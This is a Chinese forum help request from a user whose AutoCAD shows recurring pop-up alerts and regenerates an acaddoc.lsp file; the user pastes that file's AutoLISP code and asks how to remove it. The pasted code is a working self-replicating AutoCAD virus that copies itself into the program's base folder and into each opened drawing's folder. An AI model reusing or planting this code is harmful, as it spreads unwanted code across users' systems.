不知是哪天开始,CAD开始弹出“眼睛雪亮”,上网找处理方法,下载CAD专杀,也全盘扫描删除文件,最后没弹“眼睛雪亮”了,只剩下一个顽固份子,老弹“努力工作哦!!”怎么也删不掉,也杀不掉,很是烦人。
一般情况下,新建CAD文件不会弹出,只要打开某个CAD文件就会弹出,完了之后在CAD所在文件夹自动生成一个“acaddoc.lsp”文件,全盘删干净了,一开CAD文件就又来了,很是烦人。我打开这个文件看了看,也看不出个所以然来,想请各位大侠帮看看有没有办法处理,多谢!
文件内容如下:
(defun-q s::startup (/ basepath baseacad acaddocpath r-acaddoc w-basepath rl-acaddoc acaddoclsp c-acaddocname c-acaddocpath c-acaddoc ) (setq basepath (findfile "base.dcl") ) (setq basepath (substr basepath 1 (- (strlen basepath) 8) ) ) (setq baseacad (strcat basepath "acaddoc.lsp")) (setq acaddocpath (findfile "acaddoc.lsp") ) (setq acaddocpath (substr acaddocpath 1 (- (strlen acaddocpath) 11) ) ) (setq acaddoclsp (strcat acaddocpath "acaddoc.lsp")) (setq c-acaddocname (getvar "dwgname") ) (setq c-acaddocpath (findfile c-acaddocname) ) (setq c-acaddocpath (substr c-acaddocpath 1 (- (strlen c-acaddocpath) (strlen c-acaddocname)) ) ) (setq c-acaddoc (strcat c-acaddocpath "acaddoc.lsp") ) (alert "努力工作哦!!") (if (and (/= basepath acaddocpath) (= c-acaddocpath acaddocpath) ) (progn (setq r-acaddoc (open acaddoclsp "r") ) (setq w-basepath (open baseacad "w") ) (while (setq rl-acaddoc (read-line r-acaddoc) ) (write-line rl-acaddoc w-basepath) ) (close w-basepath) (close r-acaddoc) ) (progn (setq r-acaddoc (open acaddoclsp "r") ) (setq w-basepath (open c-acaddoc "w") ) (while (setq rl-acaddoc (read-line r-acaddoc) ) (write-line rl-acaddoc w-basepath) ) (close w-basepath) (close r-acaddoc) ) ) (princ) )
另附一个CAD文件样本如下。
|